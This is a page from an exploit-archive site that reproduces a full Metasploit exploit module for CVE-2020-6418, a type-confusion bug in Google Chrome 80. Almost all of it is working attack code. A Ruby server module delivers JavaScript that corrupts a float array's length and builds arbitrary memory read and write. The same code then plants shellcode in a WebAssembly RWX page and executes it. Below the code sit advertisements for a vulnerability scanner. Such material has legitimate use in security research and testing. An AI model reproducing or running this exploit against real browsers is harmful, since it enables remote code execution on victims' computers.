google chrome 80 jscreate sideeffect type confusion (metasploit)

▸▸▸ Exploit & Vulnerability >>   remote exploit & multiple vulnerability




google chrome 80 jscreate sideeffect type confusion (metasploit) Code Code...
				
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Post::File include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Google Chrome 80 JSCreate side-effect type confusion exploit', 'Description' => %q{ This module exploits an issue in Google Chrome 80.0.3987.87 (64 bit). The exploit corrupts the length of a float array (float_rel), which can then be used for out of bounds read and write on adjacent memory. The relative read and write is then used to modify a UInt64Array (uint64_aarw) which is used for read and writing from absolute memory. The exploit then uses WebAssembly in order to allocate a region of RWX memory, which is then replaced with the payload shellcode. The payload is executed within the sandboxed renderer process, so the browser must be run with the --no-sandbox option for the payload to work correctly. }, 'License' => MSF_LICENSE, 'Author' => [ 'Clément Lecigne', # discovery 'István Kurucsai', # exploit 'Vignesh S Rao', # exploit 'timwr', # metasploit copypasta ], 'References' => [ ['CVE', '2020-6418'], ['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=1053604'], ['URL', 'https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping'], ['URL', 'https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90'], ], 'Arch' => [ ARCH_X64 ], 'DefaultTarget' => 0, 'Targets' => [ ['Windows 10 - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'win'}], ['macOS - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'osx'}], ], 'DisclosureDate' => 'Feb 19 2020')) register_advanced_options([ OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]), ]) end def on_request_uri(cli, request) if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*} print_status("[*] #{request.body}") send_response(cli, '') return end print_status("Sending #{request.uri} to #{request['User-Agent']}") escaped_payload = Rex::Text.to_unescape(payload.raw) jscript = %Q^ var shellcode = unescape("#{escaped_payload}"); // HELPER FUNCTIONS let conversion_buffer = new ArrayBuffer(8); let float_view = new Float64Array(conversion_buffer); let int_view = new BigUint64Array(conversion_buffer); BigInt.prototype.hex = function() { return '0x' + this.toString(16); }; BigInt.prototype.i2f = function() { int_view[0] = this; return float_view[0]; } BigInt.prototype.smi2f = function() { int_view[0] = this << 32n; return float_view[0]; } Number.prototype.f2i = function() { float_view[0] = this; return int_view[0]; } Number.prototype.f2smi = function() { float_view[0] = this; return int_view[0] >> 32n; } Number.prototype.fhw = function() { float_view[0] = this; return int_view[0] >> 32n; } Number.prototype.flw = function() { float_view[0] = this; return int_view[0] & BigInt(2**32-1); } Number.prototype.i2f = function() { return BigInt(this).i2f(); } Number.prototype.smi2f = function() { return BigInt(this).smi2f(); } function hex(a) { return a.toString(16); } // // EXPLOIT // // the number of holes here determines the OOB write offset let vuln = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1]; var float_rel; // float array, initially corruption target var float_carw; // float array, used for reads/writes within the compressed heap var uint64_aarw; // uint64 typed array, used for absolute reads/writes in the entire address space var obj_leaker; // used to implement addrof vuln.pop(); vuln.pop(); vuln.pop(); function empty() {} function f(nt) { // The compare operation enforces an effect edge between JSCreate and Array.push, thus introducing the bug vuln.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05); for (var i = 0; i < 0x10000; ++i) {}; } let p = new Proxy(Object, { get: function() { vuln[0] = {}; float_rel = [0.2, 1.2, 2.2, 3.2, 4.3]; float_carw = [6.6]; uint64_aarw = new BigUint64Array(4); obj_leaker = { a: float_rel, b: float_rel, }; return Object.prototype; } }); function main(o) { for (var i = 0; i < 0x10000; ++i) {}; return f(o); } // reads 4 bytes from the compressed heap at the specified dword offset after float_rel function crel_read4(offset) { var qw_offset = Math.floor(offset / 2); if (offset & 1 == 1) { return float_rel[qw_offset].fhw(); } else { return float_rel[qw_offset].flw(); } } // writes the specified 4-byte BigInt value to the compressed heap at the specified offset after float_rel function crel_write4(offset, val) { var qw_offset = Math.floor(offset / 2); // we are writing an 8-byte double under the hood // read out the other half and keep its value if (offset & 1 == 1) { temp = float_rel[qw_offset].flw(); new_val = (val << 32n | temp).i2f(); float_rel[qw_offset] = new_val; } else { temp = float_rel[qw_offset].fhw(); new_val = (temp << 32n | val).i2f(); float_rel[qw_offset] = new_val; } } const float_carw_elements_offset = 0x14; function cabs_read4(caddr) { elements_addr = caddr - 8n | 1n; crel_write4(float_carw_elements_offset, elements_addr); print('cabs_read4: ' + hex(float_carw[0].f2i())); res = float_carw[0].flw(); // TODO restore elements ptr return res; } // This function provides arbitrary within read the compressed heap function cabs_read8(caddr) { elements_addr = caddr - 8n | 1n; crel_write4(float_carw_elements_offset, elements_addr); print('cabs_read8: ' + hex(float_carw[0].f2i())); res = float_carw[0].f2i(); // TODO restore elements ptr return res; } // This function provides arbitrary write within the compressed heap function cabs_write4(caddr, val) { elements_addr = caddr - 8n | 1n; temp = cabs_read4(caddr + 4n | 1n); print('cabs_write4 temp: '+ hex(temp)); new_val = (temp << 32n | val).i2f(); crel_write4(float_carw_elements_offset, elements_addr); print('cabs_write4 prev_val: '+ hex(float_carw[0].f2i())); float_carw[0] = new_val; // TODO restore elements ptr return res; } const objleaker_offset = 0x41; function addrof(o) { obj_leaker.b = o; addr = crel_read4(objleaker_offset) & BigInt(2**32-2); obj_leaker.b = {}; return addr; } const uint64_externalptr_offset = 0x1b; // in 8-bytes // Arbitrary read. We corrupt the backing store of the `uint64_aarw` array and then read from the array function read8(addr) { faddr = addr.i2f(); t1 = float_rel[uint64_externalptr_offset]; t2 = float_rel[uint64_externalptr_offset + 1]; float_rel[uint64_externalptr_offset] = faddr; float_rel[uint64_externalptr_offset + 1] = 0.0; val = uint64_aarw[0]; float_rel[uint64_externalptr_offset] = t1; float_rel[uint64_externalptr_offset + 1] = t2; return val; } // Arbitrary write. We corrupt the backing store of the `uint64_aarw` array and then write into the array function write8(addr, val) { faddr = addr.i2f(); t1 = float_rel[uint64_externalptr_offset]; t2 = float_rel[uint64_externalptr_offset + 1]; float_rel[uint64_externalptr_offset] = faddr; float_rel[uint64_externalptr_offset + 1] = 0.0; uint64_aarw[0] = val; float_rel[uint64_externalptr_offset] = t1; float_rel[uint64_externalptr_offset + 1] = t2; return val; } // Given an array of bigints, this will write all the elements to the address provided as argument function writeShellcode(addr, sc) { faddr = addr.i2f(); t1 = float_rel[uint64_externalptr_offset]; t2 = float_rel[uint64_externalptr_offset + 1]; float_rel[uint64_externalptr_offset - 1] = 10; float_rel[uint64_externalptr_offset] = faddr; float_rel[uint64_externalptr_offset + 1] = 0.0; for (var i = 0; i < sc.length; ++i) { uint64_aarw[i] = sc[i] } float_rel[uint64_externalptr_offset] = t1; float_rel[uint64_externalptr_offset + 1] = t2; } function get_compressed_rw() { for (var i = 0; i < 0x10000; ++i) {empty();} main(empty); main(empty); // Function would be jit compiled now. main(p); print(`Corrupted length of float_rel array = ${float_rel.length}`); } function get_arw() { get_compressed_rw(); print('should be 0x2: ' + hex(crel_read4(0x15))); let previous_elements = crel_read4(0x14); //print(hex(previous_elements)); //print(hex(cabs_read4(previous_elements))); //print(hex(cabs_read4(previous_elements + 4n))); cabs_write4(previous_elements, 0x66554433n); //print(hex(cabs_read4(previous_elements))); //print(hex(cabs_read4(previous_elements + 4n))); print('addrof(float_rel): ' + hex(addrof(float_rel))); uint64_aarw[0] = 0x4142434445464748n; } function rce() { function get_wasm_func() { var importObject = { imports: { imported_func: arg => print(arg) } }; bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb]; wasm_code = new Uint8Array(bc); wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject); return wasm_mod.exports.exported_func; } let wasm_func = get_wasm_func(); // traverse the JSFunction object chain to find the RWX WebAssembly code page let wasm_func_addr = addrof(wasm_func); let sfi = cabs_read4(wasm_func_addr + 12n) - 1n; print('sfi: ' + hex(sfi)); let WasmExportedFunctionData = cabs_read4(sfi + 4n) - 1n; print('WasmExportedFunctionData: ' + hex(WasmExportedFunctionData)); let instance = cabs_read4(WasmExportedFunctionData + 8n) - 1n; print('instance: ' + hex(instance)); let wasm_rwx_addr = cabs_read8(instance + 0x68n); print('wasm_rwx_addr: ' + hex(wasm_rwx_addr)); // write the shellcode to the RWX page while(shellcode.length % 4 != 0){ shellcode += "\u9090"; } let sc = []; // convert the shellcode to BigInt for (let i = 0; i < shellcode.length; i += 4) { sc.push(BigInt(shellcode.charCodeAt(i)) + BigInt(shellcode.charCodeAt(i + 1) * 0x10000) + BigInt(shellcode.charCodeAt(i + 2) * 0x100000000) + BigInt(shellcode.charCodeAt(i + 3) * 0x1000000000000)); } writeShellcode(wasm_rwx_addr,sc); print('success'); wasm_func(); } function exp() { get_arw(); rce(); } exp(); ^ if datastore['DEBUG_EXPLOIT'] debugjs = %Q^ print = function(arg) { var request = new XMLHttpRequest(); request.open("POST", "/print", false); request.send("" + arg); }; ^ jscript = "#{debugjs}#{jscript}" else jscript.gsub!(/\/\/.*$/, '') # strip comments jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*); end html = %Q^ <html> <head> <script> #{jscript} </script> </head> <body> </body> </html> ^ send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'}) end end

Google chrome 80 jscreate sideeffect type confusion (metasploit) Vulnerability / Exploit Source : Google chrome 80 jscreate sideeffect type confusion (metasploit)



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.